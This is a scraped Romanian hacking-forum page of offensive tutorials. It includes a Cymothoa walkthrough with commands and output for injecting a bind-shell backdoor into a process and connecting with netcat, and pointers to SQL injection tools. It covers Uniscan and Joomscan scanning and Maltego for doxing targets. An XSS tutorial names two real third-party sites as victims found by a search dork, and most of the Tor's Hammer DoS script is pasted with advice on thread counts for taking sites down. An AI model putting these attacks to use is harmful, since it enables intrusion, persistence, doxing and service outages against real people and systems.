    Tutorial: Cymothoa Backdoor

    Doar cu root merge din cate stiu eu. Desigur poti incerca pe un cont de admin simplu sa vezi daca merge si poti sa ne spui aici.

    bine ai venit, sper sa te distrezi pe aici.
  5. SqlNinja este unul din tool'urile de baza din Backtrack si Kali Linux. Acesta te poate ajuta sa injectezi servere si sa recuperezi baze de date in timp real. Daca nu aveti aceste distro'uri, puteti sa il descarcati din aceste locuri: https://github.com/xxgrunge/sqlninja http://sqlninja.sourceforge.net/download.html Avertisment: Daca vreti sa il descarcati separat o sa va trebuiasca mai multe module instalate deja pe calculator! Mai multe detalii mai jos.
  6. Vreau sa va arat un tool de sql injection mai simplist facut de un argentinian care foloseste putin diferit metoda obisnuita de SQLi. Toti pasii de care aveti nevoie pentru a instala scriptul si pentru a patrunde intr-un site vulnerabil sunt aici. https://pastebin.com/fq9Nnree Pentru a vedea exact cum este folosit tool'ul pe un target adevarat, puteti viziona urmatorul videoclip de youtube:
  7. Astazi va voi arata cum sa scanati un site dupa vulnerabilitati. Tool'ul pe care il vom folosi se numeste Uniscan si se poate descarca de aici: https://github.com/poerschke/Uniscan Este atat de simplu de folosit incat nu necesita decat o singura comanda si poate rula toti parametrii pe care ii alegeti. Exemplu: uniscan -u http://example.com -qweds Scaneaza dupa mai multe lucruri, cum ar fi pagini pentru sql injection, fisiere deschise care nu ar trebui sa fie, open directories, etc. Puteti gasi dupa fiecare scanare un raport complet la urmatoarea locatie: Acest raport arata atat de profesional facut incat il puteti folosi chiar si la job'ul vostru pentru a evidentia vulnerabilitatile din site'urile voastre. Mai puteti folosi si interfata GUI, folosind urmatoarea sintaxa: uniscan-gui Dupa care se va deschide o fereastra noua unde puteti sa va folosi de ea pentru a pune acolo site'ul dorit. Este atat de simplu.
  8. Hmm. Hai sa vedem daca este o problema de la cum compilezi tu personal sau daca iti lipseste un drive/module, ceva. Incearca acest tutorial simplu si vezi daca iti merge, daca nu merge, posteaza eroarea aici si vom incerca alta abordare. https://null-byte.wonderhowto.com/how-to/easily-find-exploit-exploit-db-and-get-compiled-all-from-your-terminal-0163760/ Ii dam noi de cap pana la urma. :)

  10. Salut! Vreau sa va prezint un framework interesant pe care l-ati putea utiliza atunci cand vreti sa faceti doxing sau sa va informati asupra unei tinte inainte sa o atacati. Maltego este un astfel de framework, care va poate ajuta sa gasiti pana si cele mai bine ascunse informatii de pe internet daca veti folosi toate resursele acestuia. Acesta se gaseste in distro'uri precum Backtrack si Kali Linux, iar de folosit este foarte simplu. Intrati in el, iar prima data veti observa sectiunea de "Investigate". Va aparea o fereastra pentru a putea pune ce anume cautati iar dupa aceea veti avea mai multe setari pe care le puteti completa sau lasa gol. Nu uitati cu cat veti completa mai mult aceste setari cu atat mai multe sanse veti avea sa gasiti informatii legate de persoana sau serverul respectiv.

    Tutorial: Cymothoa Backdoor

    Salut tuturor! Doresc sa vorbesc azi despre un backdoor tool care ne va permite sa cream un backdoor intr-un server la care avem deja root, ajutandu-ne efectiv sa avem o usa de intrare in acel server. Acest backdoor tool se numeste Cymothoa si se gaseste deja in Kali Linux sau Backtrack, dar pentru care cei care nu il au, pot sa il descarce de aici: https://sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/ Introducere: Vom incepe prin a rula toate procesele care exista in server pentru a vedea ce am putea infecta - [email protected]:~# ps -A | tail 4915 ? 00:00:00 krandrtray 4928 ? 00:00:00 knotify 4967 ? 00:00:01 konqueror 6674 ? 00:00:00 konsole 6675 pts/1 00:00:00 bash 6684 pts/1 00:00:00 cat 6685 ? 00:00:00 konsole 6686 pts/2 00:00:00 bash 6696 pts/2 00:00:00 ps 6697 pts/2 00:00:00 tail Pentru a ilustra cum folosim tool'ul, vom ataca un "cat" vector/proces cu un pid 6684. Dar inainte putem vedea si alege un parazit anume pe care il putem folosi sa atacam/infectam: [email protected]:~# ./cymothoa -S 0 - bind /bin/sh to the provided port (requires -y) 1 - bind /bin/sh + fork() to the provided port (requires -y) - izik <[email protected]> 2 - bind /bin/sh to tcp port with password authentication (requires -y -o) 3 - /bin/sh connect back (requires -x, -y) 4 - tcp socket proxy (requires -x -y -r) - Russell Sanford ([email protected]) 5 - script execution (see the payload), creates a tmp file you must remove 6 - forks an HTTP Server on port tcp/8800 - http://xenomuta.tuxfamily.org/ 7 - serial port busybox binding - [email protected] [email protected] 8 - forkbomb (just for fun...) - Kris Katterjohn 9 - open cd-rom loop (follows /dev/cdrom symlink) - [email protected] 10 - audio (knock knock knock) via /dev/dsp - Cody Tubbs ([email protected]) 11 - POC alarm() scheduled shellcode 12 - POC setitimer() scheduled shellcode 13 - alarm() backdoor (requires -j -y) bind port, fork on accept 14 - setitimer() tail follow (requires -k -x -y) send data via upd In acest exemplu vom folosi al doilea shellcode, cel care uneste parazitul cu conexiunea noastra TCP. Atacul va arata asa: [email protected]:~# ./cymothoa -p 6684 -s 1 -y 5555 [+] attaching to process 6684 register info: eax value: 0xfffffe00 ebx value: 0×0 esp value: 0xbfed7208 eip value: 0xffffe424 [+] new esp: 0xbfed7204 [+] injecting code into 0xb7f4d000 [+] copy general purpose registers [+] detaching from 6684 [+] infected!!! Tool'ul ne spune ca a reusit sa infecteze procesul "cat" pe care l-am ales mai devreme. Daca vom tasta din nou ca la inceput vom vedea cel deal doilea "cat": [email protected]:~# ps -A | tail 6674 ? 00:00:00 konsole 6675 pts/1 00:00:00 bash 6684 pts/1 00:00:00 cat <-- original process 6717 pts/1 00:00:00 cat <-- backdoor 6718 pts/2 00:00:00 ps 6719 pts/2 00:00:00 tail Ultimul lucru pe care il putem face este sa ne conectam la el folosind netcat: [email protected]:~# nc -vv localhost 5555 localhost [] 5555 (?) open uname -a Linux bt #1 SMP Tue Dec 1 21:51:08 EST 2009 i686 GNU/Linux Si suntem conectati la backdoor'ul nostru creat! Alt exemplu:
  12. Joomscan este unul din tool'urile mele preferate pentru atacuri impotriva site'urile de tip Joomla. Cu toate ca nu este un tool de brute force unde iti intra direct in server, iti poate gasi o gramada de vulnerabilitati care sa te ajute sa ajungi tot acolo. "OWASP JoomScan (short for [Joom]la Vulnerability [Scan]ner) is an opensource project in Perl programming language to detect Joomla CMS vulnerabilities and analyses them. " Cine nu il are deja in Kali Linux il poate descarca aici: https://github.com/rsrdesarrollo/joomscan-owasp/blob/master/doc/README Iar pentru cei care au deja Kali Linux, aceasta este comanda principala pentru a testa. (Inlocuiti "target" cu site'ul voastru) joomscan -u target
  13. Salut din nou! As dori sa va arat un tutorial mic despre cross site scripting, nivel beginner, despre cum sa gasesti site'uri vulnerabile la scripturi malitioase si cum sa injectezi aceste site'uri. In primul rand orice site cu un search engine propriu sau cu un format/formular online unde poti submite diferite mesaje poate fi vulnerabil la atacuri de tip XSS. Dar pentru incepatori si cei care vor sa gaseasca repede un site vulnerabil la cel mai mic nivel de scripting, atunci puteti folosi urmatoarea sintaxa: inurl:/search_results.php?search= Eu am folosit doua site'uri pentru acest tutorial pe care le-am gasit folosind searchul de mai sus. http://voices.iit.edu/search_results.php?filter_by=broadcast_lang&amp;filter_value=English https://www.qps.com/search_results.php?s= Ok, acum ca am gasit site'urile noastre victima, haideti sa introducem scriptul pentru a vedea daca sunt vulnerabile. https://pastebin.com/emy7kETU Dupa ce introduceti scriptul in "search engineul" victimei si veti da submit veti vedea un mesaj pop'up. (Acest script ne va ajuta sa vedem in timp real mesajul nostru printr-un pop-up box.) Ca in acest exemplu: https://imgur.com/a/eT0uj9A Sau ca acesta: https://imgur.com/a/zmMmOM4 Incercati si voi sa gasiti propriile site'uri vulnerabile si sa incercati sa folositi aceasta metoda. Bineinteles ca exista multe alte scripturi care functioneaza dar daca ati reusit pana aici atunci facut primul pas in XSS. Daca aveti nelamuriri postati-le aici sau puteti sa va uitati la acest tutorial pe youtube sa intelegeti mai bine:

    ★ Stop Windows 10 Spying !

    Chiar aveam nevoie de asa ceva. Multumesc pentru postare!
  15. Am incercat recent un DoS tool cunoscut, numit Tor's Hammer si am vrut sa explic tuturor cum ruleaza si cat de puternic este. Mai jos voi adauga un tutorial care este deja cu Youtube, plus codul sursa al lui Tor's Hammer, poate asa va fi mai usor pentru unii. Ok, toate fisierele pot fi descarcate de aici: https://github.com/cyweb/hammer Le descarcati sub forma de zip in linux, dupa care in consola: Odata intrati in program putem incepe atacul nostru folosind urmatoarea sintaxa: t este tinta, r sunt threadurile, puteti folosi si cate 10000 dar nu recomand. Va trebui sa va setati singuri threadurile in vedere de site'ul pe care doriti sa il dati jos. La unele merge bine cu 135 de threaduri la altele cu mai putin sau mai mult. Mai puteti folosi "-p" pentru un port specific. #!/usr/bin/python3 # -*- coding: utf-8 -*- # python 3.3.2+ Hammer Dos Script v.1 # by Can Yalçın # only for legal purpose from queue import Queue from optparse import OptionParser import time,sys,socket,threading,logging,urllib.request,random def user_agent(): global uagent uagent=[] uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14") uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0") uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv: Gecko/20090913 Firefox/3.5.3") uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv: Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)") uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/ Chrome/16.0.912.63 Safari/535.7") uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv: Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)") uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv: Gecko/20090718 Firefox/3.5.1") return(uagent) def my_bots(): global bots bots=[] bots.append("http://validator.w3.org/check?uri=") bots.append("http://www.facebook.com/sharer/sharer.php?u=") return(bots) def bot_hammering(url): try: while True: req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)})) print("\033[94mbot is hammering...\033[0m") time.sleep(.1) except: time.sleep(.1) def down_it(item): try: while True: packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,int(port))) if s.sendto( packet, (host, int(port)) ): s.shutdown(1) print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--packet sent! hammering--> \033[0m") else: s.shutdown(1) print("\033[91mshut<->down\033[0m") time.sleep(.1) except socket.error as e: print("\033[91mno connection! server maybe down\033[0m") #print("\033[91m",e,"\033[0m") time.sleep(.1) def dos(): while True: item = q.get() down_it(item) q.task_done() def dos2(): while True: item=w.get() bot_hammering(random.choice(bots)+"http://"+host) w.task_done() def usage(): print (''' \033[92m Hammer Dos Script v.1 http://www.canyalcin.com/ It is the end user's responsibility to obey all applicable laws.
